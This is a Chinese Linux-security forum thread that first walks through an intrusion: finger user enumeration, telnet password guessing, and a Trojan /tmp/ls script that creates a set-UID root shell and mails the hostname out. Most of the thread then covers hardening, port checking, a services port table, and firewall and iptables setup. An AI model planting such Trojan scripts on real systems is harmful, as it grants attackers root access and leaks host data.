CNSCN安全检测
一)远程检测工具
看到一个名为 www.xxx.com的主机与另一端点的连接或看到从它发出的e-mail甚至只是听说过xxx而发现这个主机 1)ping www.xxx.com 常会因许多站点不能使用ping命令用到的ICMP回应,而失败 2)nslookup www.xxx.com 为防网络失效,它总能验证一个站点是否存在 3)traceroute www.xxx.com 可用来测试连接并且如果存在问题的话,它将显示系统是否有问题 二)看站点是否支持finger (The finger displays information about the system users.) [root@207 ~]$ finger Login Name Tty Idle Login Time Office Office Phone cnscn pts/1 Mar 7 21:48 (61.51.65.137) qc pts/0 12:59 Mar 7 08:46 (192.168.0.89) root root tty1 19d Feb 16 15:32 root root tty2 3d Feb 16 15:36 root root pts/3 6:56 Mar 7 13:56 (192.168.0.111) $finger [email protected] [ www.xxx.com] Login: root Name: root Directory: /root Shell: /bin/tcsh Last login web Apr 5 11:22 (EDT) on tty2 三)尝试猜测用户名 因为多数用户名使用帐户名和常用的主机名来作为电子邮件地址,所以入侵者可以从电子邮件来得到相关信息,阅读邮件列表和新闻组并使用Web搜索引擎。 $finger [email protected] finger: ken : no such user $finger [email protected] [ www.buildhr.com] Login:yl Name: Yang liu Directory: /home/yl Shell: /bin/tcsh On since Sat Apr 1 13:40 (EDT) on tty1 6 days 16 hours idle 我们猜到一个帐户,太棒了! 四)猜测yl的口令 $telnet www.xxx.com Login: yl Password:xxx you have new mail % 现在我们可以做为一个普通用户登陆了 五)现在试着猜测根用户的口令,在20次失败之后放弃,死路一条 六)看看/etc/passwd中是否用加密口令。如果有的话,我们可以通过自己的系统进行攻击 %cat /etc/passwd root:x:0:0:Goddess:/root:/bin/sh .... /etc/passwd中根用户后面的口令x说明他们使用了shadow口令,又一条死胡同 七)看看根用户的$PATH变量是怎么样的 %cat /root/.bash_profile export PATH="/bin:.:$PATH" 太好了,系统管理员的搜索路径中用"." , 说明如果根用户发出命令ls而且根用户当前所在目录中有叫这个名字的程序,./ls 将被执行而不是执行/bin/ls (另一种常见错误是对/root的读甚至是写访问) 八)在/tmp中设一个陷井 在/tmp中设一个陷井,将ls, favorite-editor和other-editor的伪造版本放入其中,然后等着根用户去进入这个目录,我们甚至可能有意地通过在/tmp中产生大文件来将磁盘填满从而让根用户尽快看到/tmp %cat > /tmp/ls #!/bin/csh -f #If not root go directory to finish to give ls if ( ! -o /bin/su ) goto finish #Copy the shell cp /bin/sh .sh #Make it set-UID root!!! chmod 4755 .sh #send us e-mail when it happens hostname | Mail -s got1 [email protected] #Remove the Trojan horses /bin/rm ls pwd finish: /bin/ls $* %chmod 755 /tmp/ls %cp /tmp/ls /tmp/vi 收到的信 From [email protected] Mon Mar 7 22:39:50 2005 Date: Mon, 7 Mar 2005 22:39:50 +0800 From: root < [email protected]> To: [email protected] Subject: got1 CnsLinux3 |
#2 |
CNSCN可能的攻击途径
一)匿名FTP
0)允许写入/tmp的未chroot的ftp----------------------------------------------------------------------------------------- | 1)没有chroot的ftp并可读取/etc/passwd | | | 2)有关的web站点、新闻组、电子邮件 | => 发现帐号名 ---------------------- | | | | 3)用finger | | | | | | | ---------------------------------------------------- | | | | | 猜测口令 | | | | | 成为普通用户 | | | | | ----------------------------------------------------------------------------------------------------------------------| | | | | 未用shadow的/etc/shadow 突破设置UID进入 使用su猜测根口令 可写入/tmp且根$PATH | 根级程序 | /bin前有一个点 | | | | 得到根口令 | | | |--------------------------------------------------------------------------------------------------------------------- | | 成为根用户 |
CNSCN强化系统的方法
1)用隐蔽口令来防止黑客得到加密的口令从而从自己的系统上攻入,如用MD5
2)设置FTP的chroot使用户不能到达/tmp或/etc/passwd 3)不要让根用户的$PATH中包含"." 4)令所有不必要的服务停止,如finger 5)不要将用户的帐号(电子邮件)放到web站点上 6)使用尽可能复杂的口令 7)确认不存在有漏洞的set-UID的程序,将软件升级到它的最新版本,除根用户外尽量让程序来为帐户set-UID。寻找可以替代set-UID的程序的东西(这将增加安全性) 8)雇佣一个很好的安全顾问来检查安全性并进行穿透测试 9)检测CGI的安全性,因为CGI程序通常存在隐蔽的安全性 |
网络端口安全
1)除了防火墙的单环保护外还应有“安全环组”的概念,这样即使黑客穿过了一个环,还会有另一个环阻止他
2)用netstat -atuv检测正在使用的端口 -bash-2.05b$ netstat -atuv | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:32768 *:* LISTEN tcp 0 0 *:7937 *:* LISTEN tcp 0 0 CnsLinux3:32769 *:* LISTEN tcp 0 0 CnsLinux3:32770 *:* LISTEN 他们中大部分通过inetd守护进程控制的,可通过过修改/etc/xinetd.d内的amanda chargen daytime echo-udp imap ipop3 kshell rexec rsync telnet time-udp amandaidx chargen-udp daytime-udp eklogin imaps klogin ktalk rlogin services tftp amidxtape cups-lpd echo gssftp ipop2 krb5-telnet pop3s rsh sgi_fam time 来实现禁止和开启。如vi /etc/xinetd.d/telnet中的disable = no 为disable = yes 来实现由充许状态为disiable禁用状态,而后[root@CnsLinux3 xinetd.d]# /etc/rc.d/init.d/xinetd restart即可使设置其生效 3)启动服务设置 #ntsysv 4)取消finger和rsh [root@CnsLinux3 xinetd.d]# chmod -x /usr/bin/finger [root@CnsLinux3 xinetd.d]# mv /usr/bin/finger /usr/bin/ncmd_finger [root@CnsLinux3 xinetd.d]# mv /usr/bin/rsh /usr/bin/ncmd_rsh [root@CnsLinux3 xinetd.d]# chmod -x /usr/bin/ncmd_rsh ================================================================ 5.8. 校验哪些端口正在监听 配置了网络服务之后,关注一下哪些端口在监听系统的网络接口这一点很重要。任何打开的端口都可能是入侵的证明。 要列举正在监听网络的端口,有两种基本方法。一种不太可靠的方法是通过键入 netstat -an 或 lsof -i 之类的命令来查询网络堆栈。这种方法之所以不太可靠是因为这些程序不连接网络上的机器,而是查看系统上在运行什么。因此,它们频繁成为攻击者的替换目标。怪客在打开了未经授权的网络端口后,就以这种方法来企图掩盖他们的踪迹。 更可靠的方法是使用 nmap 之类的端口扫描器来检查哪些端口正在监听网络。 以下从控制台发出的命令会判定哪些端口在监听来自网络上的 TCP 连接: nmap -sT -O localhost该命令的输出和以下相似: Starting nmap V. 3.00 ( www.insecure.org/nmap/ )Interesting ports on localhost.localdomain (127.0.0.1):(The 1596 ports scanned but not shown below are in state: closed)Port State Service22/tcp open ssh111/tcp open sunrpc515/tcp open printer834/tcp open unknown6000/tcp open X11Remote OS guesses: Linux Kernel 2.4.0 or Gentoo 1.2 Linux 2.4.19 rc1-rc7)Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds该输出显示了由于 sunrpc 服务的存在,系统正在运行 portmap。然而,端口834上还有一个神秘服务。要查看一下该端口是否和任何已知服务相关,键入: cat /etc/services | grep 834该命令没有返回任何输出。这表明虽然该端口是在保留范围内(即从0到1023内),并且需要根权限才能打开,它并没有关联任何已知服务。 下一步,检查使用 netstat 或 lsof 的端口的信息。要使用 netstat 检查端口834,使用以下命令: netstat -anp | grep 834该命令返回以下输出: tcp 0 0 0.0.0.0:834 0.0.0.0:* LISTEN 653/ypbind这个开放端口在 netstat 中存在,这一点比较令人安慰,因为如果怪客在被攻击的系统上暗中打开一个端口,他们很可能不会让这个端口使用该命令被暴露出来。还有,[p] 选项揭示了打开这个端口的进程 id(PID)。在这个例子中,被打开的端口属于 ypbind(NIS),这是和 portmap 服务一起进行的 RPC 服务。 lsof 命令揭示了相似的信息,因为它也能够链接开放端口和服务: lsof -i | grep 834以下是这个命令中和讨论有关的输出部分: ypbind 653 0 7u IPv4 1319 TCP *:834 (LISTEN)ypbind 655 0 7u IPv4 1319 TCP *:834 (LISTEN)ypbind 656 0 7u IPv4 1319 TCP *:834 (LISTEN)ypbind 657 0 7u IPv4 1319 TCP *:834 (LISTEN)这些工具揭示了大量关于运行在机器上的服务状态的信息。它们很灵活,能够提供关于网络服务和配置的许多信息。强烈推荐你阅读 lsof、netstat、nmap 和 services 的说明书页。 ============================================================== 附录 C. 常用端口 下面的表格中列举了包括在红帽企业 Linux 中的服务、守护进程、和程序所使用的最常见的通信端口。该列表还可以在 /etc/services 文件中找到。要查看由互联网号码分派局(IANA)制定的“著名的已注册动态端口”官方列表,请参考以下 URL: http://www.iana.org/assignments/port-numbers 注记 “层”是指服务或协议在交通层上使用 TCP 还是 UDP。若没有列举,这个服务或协议就两者都使用。 端口号码 / 层 名称 注释 1 tcpmux TCP 端口服务多路复用 5 rje 远程作业入口 7 echo Echo 服务 9 discard 用于连接测试的空服务 11 systat 用于列举连接了的端口的系统状态 13 daytime 给请求主机发送日期和时间 17 qotd 给连接了的主机发送每日格言 18 msp 消息发送协议 19 chargen 字符生成服务;发送无止境的字符流 20 ftp-data FTP 数据端口 21 ftp 文件传输协议(FTP)端口;有时被文件服务协议(FSP)使用 22 ssh 安全 Shell(SSH)服务 23 telnet Telnet 服务 25 smtp 简单邮件传输协议(SMTP) 37 time 时间协议 39 rlp 资源定位协议 42 nameserver 互联网名称服务 43 nicname WHOIS 目录服务 49 tacacs 用于基于 TCP/IP 验证和访问的终端访问控制器访问控制系统 50 re-mail-ck 远程邮件检查协议 53 domain 域名服务(如 BIND) 63 whois++ WHOIS++,被扩展了的 WHOIS 服务 67 bootps 引导协议(BOOTP)服务;还被动态主机配置协议(DHCP)服务使用 68 bootpc Bootstrap(BOOTP)客户;还被动态主机配置协议(DHCP)客户使用 69 tftp 小文件传输协议(TFTP) 70 gopher Gopher 互联网文档搜寻和检索 71 netrjs-1 远程作业服务 72 netrjs-2 远程作业服务 73 netrjs-3 远程作业服务 73 netrjs-4 远程作业服务 79 finger 用于用户联系信息的 Finger 服务 80 http 用于万维网(WWW)服务的超文本传输协议(HTTP) 88 kerberos Kerberos 网络验证系统 95 supdup Telnet 协议扩展 101 hostname SRI-NIC 机器上的主机名服务 102 iso-tsap ISO 开发环境(ISODE)网络应用 105 csnet-ns 邮箱名称服务器;也被 CSO 名称服务器使用 107 rtelnet 远程 Telnet 109 pop2 邮局协议版本2 110 pop3 邮局协议版本3 111 sunrpc 用于远程命令执行的远程过程调用(RPC)协议,被网络文件系统(NFS)使用 113 auth 验证和身份识别协议 115 sftp 安全文件传输协议(SFTP)服务 117 uucp-path Unix 到 Unix 复制协议(UUCP)路径服务 119 nntp 用于 USENET 讨论系统的网络新闻传输协议(NNTP) 123 ntp 网络时间协议(NTP) 137 netbios-ns 在红帽企业 Linux 中被 Samba 使用的 NETBIOS 名称服务 138 netbios-dgm 在红帽企业 Linux 中被 Samba 使用的 NETBIOS 数据报服务 139 netbios-ssn 在红帽企业 Linux 中被 Samba 使用的NET BIOS 会话服务 143 imap 互联网消息存取协议(IMAP) 161 snmp 简单网络管理协议(SNMP) 162 snmptrap SNMP 的陷阱 163 cmip-man 通用管理信息协议(CMIP) 164 cmip-agent 通用管理信息协议(CMIP) 174 mailq MAILQ 177 xdmcp X 显示管理器控制协议 178 nextstep NeXTStep 窗口服务器 179 bgp 边界网络协议 191 prospero Cliffod Neuman 的 Prospero 服务 194 irc 互联网中继聊天(IRC) 199 smux SNMP UNIX 多路复用 201 at-rtmp AppleTalk 选路 202 at-nbp AppleTalk 名称绑定 204 at-echo AppleTalk echo 服务 206 at-zis AppleTalk 区块信息 209 qmtp 快速邮件传输协议(QMTP) 210 z39.50 NISO Z39.50 数据库 213 ipx 互联网络分组交换协议(IPX),被 Novell Netware 环境常用的数据报协议 220 imap3 互联网消息存取协议版本3 245 link LINK 347 fatserv Fatmen 服务器 363 rsvp_tunnel RSVP 隧道 369 rpc2portmap Coda 文件系统端口映射器 370 codaauth2 Coda 文件系统验证服务 372 ulistproc UNIX Listserv 389 ldap 轻型目录存取协议(LDAP) 427 svrloc 服务位置协议(SLP) 434 mobileip-agent 可移互联网协议(IP)代理 435 mobilip-mn 可移互联网协议(IP)管理器 443 https 安全超文本传输协议(HTTP) 444 snpp 小型网络分页协议 445 microsoft-ds 通过 TCP/IP 的服务器消息块(SMB) 464 kpasswd Kerberos 口令和钥匙改换服务 468 photuris Photuris 会话钥匙管理协议 487 saft 简单不对称文件传输(SAFT)协议 488 gss-http 用于 HTTP 的通用安全服务(GSS) 496 pim-rp-disc 用于协议独立的多址传播(PIM)服务的会合点发现(RP-DISC) 500 isakmp 互联网安全关联和钥匙管理协议(ISAKMP) 535 iiop 互联网内部对象请求代理协议(IIOP) 538 gdomap GNUstep 分布式对象映射器(GDOMAP) 546 dhcpv6-client 动态主机配置协议(DHCP)版本6客户 547 dhcpv6-server 动态主机配置协议(DHCP)版本6服务 554 rtsp 实时流播协议(RTSP) 563 nntps 通过安全套接字层的网络新闻传输协议(NNTPS) 565 whoami whoami 587 submission 邮件消息提交代理(MSA) 610 npmp-local 网络外设管理协议(NPMP)本地 / 分布式排队系统(DQS) 611 npmp-gui 网络外设管理协议(NPMP)GUI / 分布式排队系统(DQS) 612 hmmp-ind HMMP 指示 / DQS 631 ipp 互联网打印协议(IPP) 636 ldaps 通过安全套接字层的轻型目录访问协议(LDAPS) 674 acap 应用程序配置存取协议(ACAP) 694 ha-cluster 用于带有高可用性的群集的心跳服务 749 kerberos-adm Kerberos 版本5(v5)的“kadmin”数据库管理 750 kerberos-iv Kerberos 版本4(v4)服务 765 webster 网络词典 767 phonebook 网络电话簿 873 rsync rsync 文件传输服务 992 telnets 通过安全套接字层的 Telnet(TelnetS) 993 imaps 通过安全套接字层的互联网消息存取协议(IMAPS) 994 ircs 通过安全套接字层的互联网中继聊天(IRCS) 995 pop3s 通过安全套接字层的邮局协议版本3(POPS3) 表 C-1. 著名端口 以下端口是 UNIX 特有的,涉及了从电子邮件到验证不等的服务。在方括号内的名称(如 [service])是服务的守护进程名称或它的常用别名。 端口号码 / 层 名称 注释 512/tcp exec 用于对远程执行的进程进行验证 512/udp biff [comsat] 异步邮件客户(biff)和服务(comsat) 513/tcp login 远程登录(rlogin) 513/udp who [whod] 登录的用户列表 514/tcp shell [cmd] 不必登录的远程 shell(rshell)和远程复制(rcp) 514/udp syslog UNIX 系统日志服务 515 printer [spooler] 打印机(lpr)假脱机 517/udp talk 远程对话服务和客户 518/udp ntalk 网络交谈(ntalk),远程对话服务和客户 519 utime [unixtime] UNIX 时间协议(utime) 520/tcp efs 扩展文件名服务器(EFS) 520/udp router [route, routed] 选路信息协议(RIP) 521 ripng 用于互联网协议版本6(IPv6)的选路信息协议 525 timed [timeserver] 时间守护进程(timed) 526/tcp tempo [newdate] Tempo 530/tcp courier [rpc] Courier 远程过程调用(RPC)协议 531/tcp conference [chat] 互联网中继聊天 532 netnews Netnews 533/udp netwall 用于紧急广播的 Netwall 540/tcp uucp [uucpd] Unix 到 Unix 复制服务 543/tcp klogin Kerberos 版本5(v5)远程登录 544/tcp kshell Kerberos 版本5(v5)远程 shell 548 afpovertcp 通过传输控制协议(TCP)的 Appletalk 文件编制协议(AFP) 556 remotefs [rfs_server, rfs] Brunhoff 的远程文件系统(RFS) 表 C-2. UNIX 特有的端口 表 C-3列举了由网络和软件社区向 IANA 提交的要在端口号码列表中正式注册的端口。 端口号码 / 层 名称 注释 1080 socks SOCKS 网络应用程序代理服务 1236 bvcontrol [rmtcfg] Garcilis Packeten 远程配置服务器[a] 1300 h323hostcallsc H.323 电话会议主机电话安全 1433 ms-sql-s Microsoft SQL 服务器 1434 ms-sql-m Microsoft SQL 监视器 1494 ica Citrix ICA 客户 1512 wins Microsoft Windows 互联网名称服务器 1524 ingreslock Ingres 数据库管理系统(DBMS)锁定服务 1525 prospero-np 无特权的 Prospero 1645 datametrics [old-radius] Datametrics / 从前的 radius 项目 1646 sa-msg-port [oldradacct] sa-msg-port / 从前的 radacct 项目 1649 kermit Kermit 文件传输和管理服务 1701 [l2f] 第2层隧道服务(LT2P) / 第2层转发(L2F) 1718 h323gatedisc H.323 电讯守门装置发现机制 1719 h323gatestat H.323 电讯守门装置状态 1720 h323hostcall H.323 电讯主持电话设置 1758 tftp-mcast 小文件 FTP 组播 1759 mtftp 组播小文件 FTP(MTFTP) 1789 hello Hello 路由器通信端口 1812 radius Radius 拨号验证和记帐服务 1813 radius-acct Radius 记帐 1911 mtp Starlight 网络多媒体传输协议(MTP) 1985 hsrp Cisco 热备用路由器协议 1986 licensedaemon Cisco 许可管理守护进程 1997 gdp-port Cisco 网关发现协议(GDP) 2049 nfs [nfsd] 网络文件系统(NFS) 2102 zephyr-srv Zephyr 通知传输和发送服务器 2103 zephyr-clt Zephyr serv-hm 连接 2104 zephyr-hm Zephyr 主机管理器 2401 cvspserver 并行版本系统(CVS)客户 / 服务器操作 2430/tcp venus 用于 Coda 文件系统(codacon 端口)的 Venus 缓存管理器 2430/udp venus 用于 Coda 文件系统(callback/wbc interface 界面)的 Venus 缓存管理器 2431/tcp venus-se Venus 传输控制协议(TCP)的副作用 2431/udp venus-se Venus 用户数据报协议(UDP)的副作用 2432/udp codasrv Coda 文件系统服务器端口 2433/tcp codasrv-se Coda 文件系统 TCP 副作用 2433/udp codasrv-se Coda 文件系统 UDP SFTP 副作用 2600 hpstgmgr [zebrasrv] HPSTGMGR;Zebra 选路[b] 2601 discp-client [zebra] discp 客户;Zebra 集成的 shell 2602 discp-server [ripd] discp 服务器;选路信息协议守护进程(ripd) 2603 servicemeter [ripngd] 服务计量;用于 IPv6 的 RIP 守护进程 2604 nsc-ccs [ospfd] NSC CCS;开放式短路径优先守护进程(ospfd) 2605 nsc-posa NSC POSA;边界网络协议守护进程(bgpd) 2606 netmon [ospf6d] Dell Netmon;用于 IPv6 的 OSPF 守护进程(ospf6d) 2809 corbaloc 公共对象请求代理体系(CORBA)命名服务定位器 3130 icpv2 互联网缓存协议版本2(v2);被 Squid 代理缓存服务器使用 3306 mysql MySQL 数据库服务 3346 trnsprntproxy Trnsprnt 代理 4011 pxe 执行前环境(PXE)服务 4321 rwhois 远程 Whois(rwhois)服务 4444 krb524 Kerberos 版本5(v5)到版本4(v4)门票转换器 5002 rfe 无射频以太网(RFE)音频广播系统 5308 cfengine 配置引擎(Cfengine) 5999 cvsup [CVSup] CVSup 文件传输和更新工具 6000 x11 [X] X 窗口系统服务 7000 afs3-fileserver Andrew 文件系统(AFS)文件服务器 7001 afs3-callback 用于给缓存管理器回电的 AFS 端口 7002 afs3-prserver AFS 用户和组群数据库 7003 afs3-vlserver AFS 文件卷位置数据库 7004 afs3-kaserver AFS Kerberos 验证服务 7005 afs3-volser AFS 文件卷管理服务器 7006 afs3-errors AFS 错误解释服务 7007 afs3-bos AFS 基本监查进程 7008 afs3-update AFS 服务器到服务器更新器 7009 afs3-rmtsys AFS 远程缓存管理器服务 9876 sd 会话指引器 10080 amanda 高级 Maryland 自动网络磁盘归档器(Amanda)备份服务 11371 pgpkeyserver 良好隐私(PGP) / GNU 隐私卫士(GPG)公钥服务器 11720 h323callsigalt H.323 调用信号交替 13720 bprd Veritas NetBackup 请求守护进程(bprd) 13721 bpdbm Veritas NetBackup 数据库管理器(bpdbm) 13722 bpjava-msvc Veritas NetBackup Java / Microsoft Visual C++ (MSVC) 协议 13724 vnetd Veritas 网络工具 13782 bpcd Vertias NetBackup 13783 vopied Veritas VOPIED 协议 22273 wnn6 [wnn4] 假名/汉字转换系统[c] 26000 quake Quake(以及相关的)多人游戏服务器 26208 wnn6-ds 33434 traceroute Traceroute 网络跟踪工具 注: a. /etc/services 中的注释如下:端口1236被注册为“bvcontrol”,但是它也被 Gracilis Packeten 远程配置服务器使用。正式名称被列为主要名称,未注册的名称被列为别名。 b. 在 /etc/services 中的注释:端口 2600 到 2606 被 zebra 软件包未经注册而使用。主要名称是被注册的名称,被 zebra 使用的未注册名称被列为别名。 c. /etc/services 文件中的注释:该端口被注册为 wnn6,但是还在 FreeWnn 软件包中使用了未注册的“wnn4”。 表 C-3. 注册的端口 表 C-4显示了一个和数据报传递协议(DDP)有关的端口列表。DDP 在 AppleTalk 网络上被使用。 端口号码 / 层 名称 注释 1/ddp rtmp 路由表管理协议 2/ddp nbp 名称绑定协议 4/ddp echo AppleTalk Echo 协议 6/ddp zip 区块信息协议 表 C-4. 数据报传递协议端口 表 C-5是和 Kerberos 网络验证协议相关的端口列表。在标记的地方,v5 代表 Kerberos 版本5协议。注意,这些端口没有在 IANA 注册。 端口号码 / 层 名称 注释 751 kerberos_master Kerberos 验证 752 passwd_server Kerberos 口令(kpasswd)服务器 754 krb5_prop Kerberos v5 从属传播 760 krbupdate [kreg] Kerberos 注册 1109 kpop Kerberos 邮局协议(KPOP) 2053 knetd Kerberos 多路分用器 2105 eklogin Kerberos v5 加密的远程登录(rlogin) 表 C-5. Kerberos(工程 Athena/MIT)端口 表 C-6是一个未注册的端口列表。这些端口可能被安装在你的红帽企业 Linux 系统上的服务或协议使用,或者它们是在红帽企业 Linux 和运行其它操作系统的机器通信所必需的端口。 端口号码 / 层 名称 注释 15/tcp netstat 网络状态(netstat) 98/tcp linuxconf Linuxconf Linux 管理工具 106 poppassd 邮局协议口令改变守护进程(POPPASSD) 465/tcp smtps 通过安全套接字层的简单邮件传输协议(SMTPS) 616/tcp gii 使用网关的(选路守护进程)互动界面 808 omirr [omirrd] 联机镜像(Omirr)文件镜像服务 871/tcp supfileserv 软件升级协议(SUP)服务器 901/tcp swat Samba 万维网管理工具(SWAT) 953 rndc Berkeley 互联网名称域版本9(BIND 9)远程名称守护进程配置工具 1127 sufiledbg 软件升级协议(SUP)调试 1178/tcp skkserv 简单假名到汉字(SKK)日文输入服务器 1313/tcp xtel 法国 Minitel 文本信息系统 1529/tcp support [prmsd, gnatsd] GNATS 错误跟踪系统 2003/tcp cfinger GNU Finger 服务 2150 ninstall 网络安装服务 2988 afbackup afbackup 客户-服务器备份系统 3128/tcp squid Squid 万维网代理缓存 3455 prsvp RSVP 端口 5432 postgres PostgreSQL 数据库 4557/tcp fax FAX 传输服务(旧服务) 4559/tcp hylafax HylaFAX 客户-服务器协议(新服务) 5232 sgi-dgl SGI 分布式图形库 5354 noclog NOCOL 网络操作中心记录守护进程(noclogd) 5355 hostmon NOCOL 网络操作中心主机监视 5680/tcp canna Canna 日文字符输入界面 6010/tcp x11-ssh-offset 安全 Shell(SSH)X11 转发偏移 6667 ircd 互联网中继聊天守护进程(ircd) 7100/tcp xfs X 字体服务器(XFS) 7666/tcp tircproxy Tircproxy IRC 代理服务 8008 http-alt 超文本传输协议(HTTP)的另一选择 8080 webcache 万维网(WWW)缓存服务 8081 tproxy 透明代理 9100/tcp jetdirect [laserjet, hplj] Hewlett-Packard (HP) JetDirect 网络打印服务 9359 mandelspawn [mandelbrot] 用于 X 窗口系统的并行 Mandelbrot 生成程序 10081 kamanda 使用 Kerberos 的 Amanda 备份服务 10082/tcp amandaidx Amanda 备份服务 10083/tcp amidxtape Amanda 备份服务 20011 isdnlog 综合业务数字网(ISDN)登录系统 20012 vboxd ISDN 音箱守护进程(vboxd) 22305/tcp wnn4_Kr kWnn 韩文输入系统 22289/tcp wnn4_Cn cWnn 中文输入系统 22321/tcp wnn4_Tw tWnn 中文输入系统(台湾) 24554 binkp Binkley TCP/IP Fidonet 邮寄程序守护进程 27374 asp 地址搜索协议 60177 tfido Ifmail FidoNet 兼容邮寄服务 60179 fido FidoNet 电子邮件和新闻网络 此帖于 2005-03-13 04:52 AM 被 cnscn 编辑. |
#6 |
限制根用户可以登陆的终端/etc/securetty
1) 当根用户试图登陆时,login程序首先查阅/etc/securetty, 看看其中是否列出了当前字符终端设备。
1>如果没有找到, login会认为它不安全,而提示口令,而后报告Login incorrect 错误; 2>如果没有/etc/securetty文件,根用户可以从任何一台字符终端上登陆,从而造成安全问题 3>/etc/securetty的权限应是600或400 |
#7 |
查看系统登陆信息设置/etc/issue
[root@CnsLinux3 root]# cat /etc/issue
Red Hat Enterprise Linux AS release 3 (Taroon Update 2) Kernel /r on an /m [root@CnsLinux3 root]# ============================== [root@CnsLinux3 root]# cat /etc/issue.net Red Hat Enterprise Linux AS release 3 (Taroon Update 2) Kernel /r on an /m [root@CnsLinux3 root]# 此帖于 2005-03-12 09:01 AM 被 cnscn 编辑. |
#8 |
防火墙技术
1)功能:
1>把内网和外网(如Internet)隔离 2>限定外网上的哪些系统(IP和主机名)可以使用内网的哪些服务(如http/ssh/telne/mail)与内网连接 2)内网与外网的所有交互都要通过防火墙这台机器 1>它能阻止对某些内部端口的访问 2>把已知的端口重定向到受保护的端口 3>过滤进入的数据以检查是否有病毒及非法数据 3)但由于某个员工使用了一台不安全的移动电脑和一根电话线,则可能会使用精心构筑的防火墙被损害 1>如果有移动用户,则同样也要注意加固他们的安全 2>启动TCP Wrapper 3>禁止不需要的服务(包括telnet和ftp) 4>安装ssh 4)在/etc/ppp/if-up中添加一个表项来关掉eth0接口,再在if-down中添加一个表项把它打开,这样,调制解调器和公司的以太网之间没有一个路径,从而可以阻止一些黑客。可是聪明的黑客还是可以在一台膝上电脑里安装一个特别的木马程序,这个程序会等待eth0回来打开或自己打开 5)如果防火墙里面的机器上有调制解调器,那么这些调制解调器所而是主要的攻击目标 使用IP Chain和DMZ的防火墙,调制解调器应放在DMZ中,与拨入的电话线相关联的Virtual Private Network (虚拟专用网络,VPN)软件可以有助于你的网络保持安全。因此VPN应该处于一台膝上型电脑和你的内部网之间 可以得到一些Liinux的VPN组件 http://www.linuxdoc.org/HOWTO/VPN_HOWTO.html http://www.linuxdoc.org/HOWTO/mini/VPN.html http://linux.tucows.com http://freshmeat.org 6)另外把那些带有提供拨入访问的调制解调器的公司系统配置成防火墙本身。典型情况下只有系统中允许登陆的账户(除根外)拥有pppd, PPP守护进程来用于其的登录shell。 为了提供额外的保护,使得这些主机上带有调制解调器的系统与你的内网之间有一个分隔的防火墙,则应在你的非军事区(Demilitarized Zone, DMZ)中放置这些系统。 7)防火墙规则将只允许到类似SSH的端口和其他加密过的安全协议,如http/imap(SSL包装的IMAP)和pop3(SSL包装的pop3)的通信。这些系统还需要允许UDP端口53(DNS请求)从用于你的拨入用户(膝上型电脑和本地系统)的ppp接口启动. 8)防火墙后面的拨出电话线也是一个安全漏洞。网络是一个双向管道。如果数据能出去,那么它也能进来(但你不希望机密数据也流出去) 9)对于非移动计算机,要考虑去掉所有的调制解调器和软盘驱动器,移去上面的pppd/diald/cu/tip程序,还有任何其他支持调制解调器的软件(在非Linux平台上移去等价的软件)。考滤撤消调制解调器设备(典型情况下为/dev/cua* 和/dev/ttys*),并在cmos(bios)中禁用他们。 10)通过在一个防火墙允许的端口的顶层上运行一段程序而不是运行标准的telnet或该端口顶层上的浏览器来使用该端口(如23(telnet), 80(www))。对于这种情况pppd程序工作得很好,它只需建立一个新的“网络”设备,所有的流量都经过这个设备,使用你的保护不起作用。参考 http://www.linuxdoc.org/HOWTO/mini/...l-Piercing.html 11)许多微软的产品用某种SOAP通过端口80(www)通信,微软官方选项可从 http://msdn.microsoft.com/library/p...riod00/soap.com 因为soap作为一种传输机制信赖于HTTP,而且大多数防火墙允许http通过,所以从防火墙的任何一边调用soap端点,都不会遇到问题。 对于好的系统管理员来说,通过用soap特定的http报文标题可以把防火墙配置成有选择地阻止soap请求. ========================================================== 7.2. 使用 IPTables 使用 IPTables 的第一步是启动 IPTables 服务。这可以使用以下命令进行: service iptables start 警告 你应该使用以下命令关闭 IP6Tables 服务才能使用 IPTables 服务: service ip6tables stopchkconfig ip6tables off 要使 IPTables 在系统引导时默认启动,你必须使用 chkconfig 来改变服务的运行级别状态。 chkconfig --level 345 iptables onIPTables 的语法被分成几个层次。主要层次为“链”( chain)。“链”指定处理分组的状态。其用法为: iptables -A chain -j target-A 在现存的规则集合内后补一条规则。 chain 是规则所在“链”的名称。IPTables 中有三个内建的链(即影响每一个在网络中经过的分组的链):INPUT、OUTPUT、和 FORWARD。这些链是永久性的,不能被删除。 重要 在创建 IPTables 规则集合时,记住规则的顺序是至关重要的。例如:如果某个链指定了来自本地子网 192.168.100.0/24 的任何分组都应放弃,然后一个允许来自 192.168.100.13(在前面要放弃分组的子网范围内)的分组的链被补在这个规则后面(-A),那么这个后补的规则就会被忽略。你必须首先设置允许 192.168.100.13 的规则,然后再设置放弃规则。 要在现存规则链的任意处插入一条规则,使用 -I,随后是你想插入规则的链的名称,然后是你想放置规则的位置号码(1,2,3,...,n)。例如: iptables -I INPUT 1 -i lo -p all -j ACCEPT这条规则被插入为 INPUT 链的第一条规则,它允许本地环回设备上的交通。 7.2.1. 基本防火墙策略 在一开始就建立的某些基本策略为建构更详细的用户定义的规则奠定了基础。IPTables 使用策略(policy, -P)来创建默认规则。对安全敏感的管理员通常想采取放弃所有分组、只逐一允许指定分组的策略。以下规则阻塞网络上所有的出入分组。 iptables -P INPUT DROPiptables -P OUTPUT DROP此外,还推荐你拒绝所有转发分组( forwarded packets) — 要从防火墙被选路发送到它的目标节点的网络交通 — 以便限制内部客户对互联网的无心暴露。要达到这个目的,使用以下规则: iptables -P FORWARD DROP 注记 在处理 添加的规则时,REJECT(拒绝)目标和 DROP(放弃)目标这两种行动有所不同。REJECT 会拒绝目标分组的进入,并给企图连接服务的用户返回一个 connection refused 的错误消息。DROP 会放弃分组,而对 telnet 用户不发出任何警告;不过,为了避免导致用户由于迷惑不解而不停试图连接的情况的发生,推荐你使用 REJECT 目标。 设置了策略链后,为你的特定网络和安全需要创建新规则。以下各节概述了一些你在建构 IPTables 防火墙时可能要实现的规则。 7.2.2. 保存和恢复 IPTables 规则 防火墙规则只在计算机处于开启状态时才有效。如果系统被重新引导,这些规则就会自动被清除并重设。要保存规则以便今后载入,请使用以下命令: /sbin/service iptables save保存在 /etc/sysconfig/iptables 文件中的规则会在服务启动或重新启动时(包括机器被重新引导时)被应用。 7.3. 常用 iptables 过滤 把远程攻击者拒之“LAN”外是网络保安的一个重要方面。LAN 